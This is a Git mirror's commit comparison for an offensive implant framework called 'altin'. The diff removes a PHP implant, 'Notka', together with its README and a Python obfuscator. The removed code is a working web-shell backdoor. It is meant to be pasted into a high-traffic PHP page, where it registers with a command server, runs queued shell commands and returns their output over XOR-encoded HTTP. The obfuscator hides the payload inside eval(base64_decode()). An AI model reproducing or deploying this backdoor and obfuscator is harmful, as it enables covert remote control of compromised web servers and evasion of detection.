mirror of
https://github.com/ConnorGadbois/altin.git
synced 2026-10-21 20:46:17 -05:00
Compare commits
No commits in common. "3311f226296de65bc600e4205ae08369d21aa1fd" and "381560d782c1821e81324f2d8a21a9c41f47c7fd" have entirely different histories.
3311f22629
...
381560d782
@ -31,4 +31,3 @@ python3 -m http.server # Starts a webserver on port 8000
|
|||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
||||||
|`Midas`|Windows trolling utilities|Rust|Windows
|
|`Midas`|Windows trolling utilities|Rust|Windows
|
||||||
|`Notka`|PHP implant for running shell commands|PHP|Cross platform|
|
|
||||||
@ -1,17 +0,0 @@
|
|||||||
# Notka
|
|
||||||
|
|
||||||
A minimal PHP implant meant to be dropeed into a high traffic PHP page. Requesting the page registeres the implant with Altin and runs all commands queued.
|
|
||||||
|
|
||||||
## Config
|
|
||||||
Set the `$server` and `$key` in `notka.php`
|
|
||||||
|
|
||||||
## Obfuscate
|
|
||||||
The payload can be obfuscated by running the `obfuscate.py` script, it will output the obfuscated version to `payload.php`.
|
|
||||||
|
|
||||||
## Deployment
|
|
||||||
The contents of `payload.php` can the be pasted into any PHP page.
|
|
||||||
|
|
||||||
## Commands
|
|
||||||
|Command|Description|Arguments|
|
|
||||||
|---|---|---|
|
|
||||||
|`shell`|Run a command|command: str|
|
|
||||||
@ -1,194 +0,0 @@
|
|||||||
// Config
|
|
||||||
$server = 'http://127.0.0.1:3000';
|
|
||||||
$key = 'asdf';
|
|
||||||
|
|
||||||
// Protocol
|
|
||||||
define('ACTION_CHECKIN', 1);
|
|
||||||
define('ACTION_REGISTER', 2);
|
|
||||||
define('ACTION_TASK_RESULT', 3);
|
|
||||||
|
|
||||||
define('STATUS_ERROR', 0);
|
|
||||||
define('STATUS_CONTINUE', 1);
|
|
||||||
define('STATUS_TASKS', 2);
|
|
||||||
define('STATUS_REGISTER', 3);
|
|
||||||
define('STATUS_INVALID', 4);
|
|
||||||
|
|
||||||
function xor_msg($string, $key) {
|
|
||||||
$result = '';
|
|
||||||
$key_len = strlen($key);
|
|
||||||
for ($i = 0; $i < strlen($string); $i++) {
|
|
||||||
$result .= $string[$i] ^ $key[$i % $key_len];
|
|
||||||
}
|
|
||||||
return $result;
|
|
||||||
}
|
|
||||||
|
|
||||||
function send_request($server, $key, $data) {
|
|
||||||
$context = stream_context_create([
|
|
||||||
'http' => [
|
|
||||||
'method' => 'POST',
|
|
||||||
'header' => "Content-Type: application/json\r\n",
|
|
||||||
'content' => xor_msg(json_encode($data), $key),
|
|
||||||
'timeout' => 10,
|
|
||||||
'ignore_errors' => true,
|
|
||||||
],
|
|
||||||
]);
|
|
||||||
|
|
||||||
$response = @file_get_contents($server, false, $context);
|
|
||||||
|
|
||||||
if ($response === false || $response === '') {
|
|
||||||
return(null);
|
|
||||||
}
|
|
||||||
|
|
||||||
$decoded = json_decode(xor_msg($response, $key), true);
|
|
||||||
|
|
||||||
if (!is_array($decoded)) {
|
|
||||||
return(null);
|
|
||||||
}
|
|
||||||
|
|
||||||
return($decoded);
|
|
||||||
}
|
|
||||||
|
|
||||||
function build_commands() {
|
|
||||||
return([
|
|
||||||
[
|
|
||||||
'command' => 'shell',
|
|
||||||
'description' => 'Run a shell command on the system',
|
|
||||||
'args' => [
|
|
||||||
[
|
|
||||||
'name' => 'command',
|
|
||||||
'arg_type' => 'str',
|
|
||||||
'description' => 'The command to run',
|
|
||||||
'required' => true
|
|
||||||
]
|
|
||||||
]
|
|
||||||
]
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
function send_registration($server, $key) {
|
|
||||||
$data = [
|
|
||||||
'implant_id' => 'notka',
|
|
||||||
'ip' => getHostByName(getHostName()),
|
|
||||||
'action' => ACTION_REGISTER,
|
|
||||||
'registration' => [
|
|
||||||
'os' => php_uname('s'),
|
|
||||||
'commands' => build_commands()
|
|
||||||
]
|
|
||||||
];
|
|
||||||
|
|
||||||
$response = send_request($server, $key, $data);
|
|
||||||
|
|
||||||
if ($response === null || !isset($response['status'])) {
|
|
||||||
return(STATUS_ERROR);
|
|
||||||
}
|
|
||||||
|
|
||||||
return($response['status']);
|
|
||||||
}
|
|
||||||
|
|
||||||
function do_checkin($server, $key) {
|
|
||||||
$data = [
|
|
||||||
'implant_id' => 'notka',
|
|
||||||
'ip' => getHostByName(getHostName()),
|
|
||||||
'action' => ACTION_CHECKIN
|
|
||||||
];
|
|
||||||
|
|
||||||
return(send_request($server, $key, $data));
|
|
||||||
}
|
|
||||||
|
|
||||||
function report_task_result($server, $key, $task_id, $result) {
|
|
||||||
$data = [
|
|
||||||
'implant_id' => 'notka',
|
|
||||||
'ip' => getHostByName(getHostName()),
|
|
||||||
'action' => ACTION_TASK_RESULT,
|
|
||||||
'result' => [
|
|
||||||
'task_id' => $task_id,
|
|
||||||
'result' => $result
|
|
||||||
]
|
|
||||||
];
|
|
||||||
|
|
||||||
return(send_request($server, $key, $data));
|
|
||||||
}
|
|
||||||
|
|
||||||
function run_shell($command) {
|
|
||||||
if (function_exists('shell_exec')) {
|
|
||||||
$output = @shell_exec($command . ' 2>&1');
|
|
||||||
if ($output !== null) {
|
|
||||||
return($output);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (function_exists('exec')) {
|
|
||||||
$lines = [];
|
|
||||||
@exec($command . ' 2>&1', $lines);
|
|
||||||
return(implode("\n", $lines));
|
|
||||||
}
|
|
||||||
|
|
||||||
return('Failed to run command');
|
|
||||||
}
|
|
||||||
|
|
||||||
function run_task($task) {
|
|
||||||
if (!isset($task['task']) || !isset($task['args']) || $task['task'] !== 'shell') {
|
|
||||||
return('Unknown command');
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!isset($task['args'][0]) || $task['args'][0] === '') {
|
|
||||||
return('No command provided');
|
|
||||||
}
|
|
||||||
|
|
||||||
return(run_shell($task['args'][0]));
|
|
||||||
}
|
|
||||||
|
|
||||||
function handle_checkin($server, $key, $response) {
|
|
||||||
if ($response === null || !isset($response['status'])) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
switch ($response['status']) {
|
|
||||||
case STATUS_TASKS:
|
|
||||||
if (!isset($response['tasks']) || !is_array($response['tasks'])) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Run every queued command and report the results
|
|
||||||
foreach ($response['tasks'] as $task) {
|
|
||||||
$result = run_task($task);
|
|
||||||
report_task_result($server, $key, $task['task_id'], $result);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
|
|
||||||
case STATUS_REGISTER:
|
|
||||||
// Not registered yet, register and check in again
|
|
||||||
send_registration($server, $key);
|
|
||||||
handle_checkin($server, $key, do_checkin($server, $key));
|
|
||||||
break;
|
|
||||||
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function main($server, $key) {
|
|
||||||
// Run in the background: hand the response to the client and keep working
|
|
||||||
ignore_user_abort(true);
|
|
||||||
set_time_limit(0);
|
|
||||||
|
|
||||||
if (function_exists('fastcgi_finish_request')) {
|
|
||||||
fastcgi_finish_request();
|
|
||||||
} else {
|
|
||||||
header('Connection: close');
|
|
||||||
header('Content-Length: 0');
|
|
||||||
while (ob_get_level() > 0) {
|
|
||||||
ob_end_flush();
|
|
||||||
}
|
|
||||||
flush();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Register (idempotent), then do a single checkin callback
|
|
||||||
$status = send_registration($server, $key);
|
|
||||||
|
|
||||||
if ($status === STATUS_CONTINUE) {
|
|
||||||
handle_checkin($server, $key, do_checkin($server, $key));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
main($server, $key);
|
|
||||||
@ -1,147 +0,0 @@
|
|||||||
import re
|
|
||||||
import random
|
|
||||||
import string
|
|
||||||
import base64
|
|
||||||
|
|
||||||
def random_name(length=8):
|
|
||||||
return ''.join(random.choices(string.ascii_letters, k=length))
|
|
||||||
|
|
||||||
def tokenize_php(code):
|
|
||||||
token_pattern = re.compile(
|
|
||||||
r"""
|
|
||||||
("(?:\\.|[^"])*") | # double quoted string
|
|
||||||
('(?:\\.|[^'])*') | # single quoted string
|
|
||||||
(//[^\n]*\n?) | # single-line comment
|
|
||||||
(/\*.*?\*/) | # multi-line comment
|
|
||||||
(\$[a-zA-Z_]\w*) | # variable
|
|
||||||
([a-zA-Z_]\w*) | # identifier
|
|
||||||
(\s+) | # whitespace
|
|
||||||
(.) # everything else
|
|
||||||
""",
|
|
||||||
re.VERBOSE | re.DOTALL
|
|
||||||
)
|
|
||||||
|
|
||||||
tokens = []
|
|
||||||
for match in token_pattern.finditer(code):
|
|
||||||
tokens.append(match.group(0))
|
|
||||||
return tokens
|
|
||||||
|
|
||||||
|
|
||||||
def obfuscate_php(code: str, wrap_eval=False, one_liner=False) -> str:
|
|
||||||
tokens = tokenize_php(code)
|
|
||||||
|
|
||||||
var_map = {}
|
|
||||||
func_map = {}
|
|
||||||
superglobals = {
|
|
||||||
"$_GET", "$_POST", "$_REQUEST", "$_SERVER",
|
|
||||||
"$_SESSION", "$_COOKIE", "$_FILES", "$_ENV", "$GLOBALS"
|
|
||||||
}
|
|
||||||
|
|
||||||
output = []
|
|
||||||
next_is_function_name = False
|
|
||||||
i = 0
|
|
||||||
|
|
||||||
while i < len(tokens):
|
|
||||||
token = tokens[i]
|
|
||||||
|
|
||||||
# Preserve strings and comments
|
|
||||||
if token.startswith(("'", '"', "//", "/*")):
|
|
||||||
output.append(token)
|
|
||||||
i += 1
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Detect function keyword
|
|
||||||
if token == "function":
|
|
||||||
next_is_function_name = True
|
|
||||||
output.append(token)
|
|
||||||
i += 1
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Rename function declaration
|
|
||||||
if next_is_function_name and re.match(r'[a-zA-Z_]\w*', token):
|
|
||||||
if token not in func_map:
|
|
||||||
func_map[token] = random_name()
|
|
||||||
output.append(func_map[token])
|
|
||||||
next_is_function_name = False
|
|
||||||
i += 1
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Handle variables
|
|
||||||
if re.match(r'\$[a-zA-Z_]\w*', token):
|
|
||||||
|
|
||||||
original_var = token
|
|
||||||
|
|
||||||
if original_var in superglobals:
|
|
||||||
output.append(original_var)
|
|
||||||
i += 1
|
|
||||||
continue
|
|
||||||
|
|
||||||
if original_var not in var_map:
|
|
||||||
var_map[original_var] = "$" + random_name()
|
|
||||||
|
|
||||||
new_var = var_map[original_var]
|
|
||||||
|
|
||||||
# Detect assignment to string literal
|
|
||||||
j = i + 1
|
|
||||||
while j < len(tokens) and tokens[j].isspace():
|
|
||||||
j += 1
|
|
||||||
|
|
||||||
if j < len(tokens) and tokens[j] == "=":
|
|
||||||
k = j + 1
|
|
||||||
while k < len(tokens) and tokens[k].isspace():
|
|
||||||
k += 1
|
|
||||||
|
|
||||||
if (
|
|
||||||
k < len(tokens)
|
|
||||||
and (tokens[k].startswith('"') or tokens[k].startswith("'"))
|
|
||||||
):
|
|
||||||
string_literal = tokens[k]
|
|
||||||
unquoted = string_literal[1:-1]
|
|
||||||
encoded = base64.b64encode(unquoted.encode()).decode()
|
|
||||||
|
|
||||||
output.append(new_var)
|
|
||||||
output.append("=")
|
|
||||||
output.append(f'base64_decode("{encoded}")')
|
|
||||||
|
|
||||||
i = k + 1
|
|
||||||
continue
|
|
||||||
|
|
||||||
output.append(new_var)
|
|
||||||
i += 1
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Rename function calls
|
|
||||||
if token in func_map:
|
|
||||||
output.append(func_map[token])
|
|
||||||
i += 1
|
|
||||||
continue
|
|
||||||
|
|
||||||
output.append(token)
|
|
||||||
i += 1
|
|
||||||
|
|
||||||
result = ''.join(output)
|
|
||||||
|
|
||||||
# -------- MAKE ONE LINER --------
|
|
||||||
if one_liner:
|
|
||||||
# Collapse all whitespace to single spaces
|
|
||||||
result = re.sub(r'\s+', ' ', result)
|
|
||||||
|
|
||||||
# Remove spaces around common operators/punctuation
|
|
||||||
result = re.sub(r'\s*([{}();,=+\-*/<>])\s*', r'\1', result)
|
|
||||||
|
|
||||||
result = result.strip()
|
|
||||||
|
|
||||||
# Optional full script base64 wrap
|
|
||||||
if wrap_eval:
|
|
||||||
encoded = base64.b64encode(result.encode()).decode()
|
|
||||||
result = f'eval(base64_decode("{encoded}"));'
|
|
||||||
|
|
||||||
return result
|
|
||||||
|
|
||||||
payload = open('notka.php', 'r')
|
|
||||||
obfuscated_payload = obfuscate_php(payload.read(), True, True)
|
|
||||||
payload.close()
|
|
||||||
|
|
||||||
output = open('payload.php', 'w')
|
|
||||||
output.write(obfuscated_payload)
|
|
||||||
output.close()
|
|
||||||
@ -8,7 +8,7 @@ Change the values in `src/config.nim` as needed.
|
|||||||
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
|
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
|
||||||
|
|
||||||
# If compiling for Windows from MacOS or Linux:
|
# If compiling for Windows from MacOS or Linux:
|
||||||
nim c -d:release -d:mingw -d:ssl -o:tombili.exe src/main.nim
|
nim c -d:release -d:ssl -o:tombili.exe src/main.nim
|
||||||
```
|
```
|
||||||
|
|
||||||
## Commands
|
## Commands
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user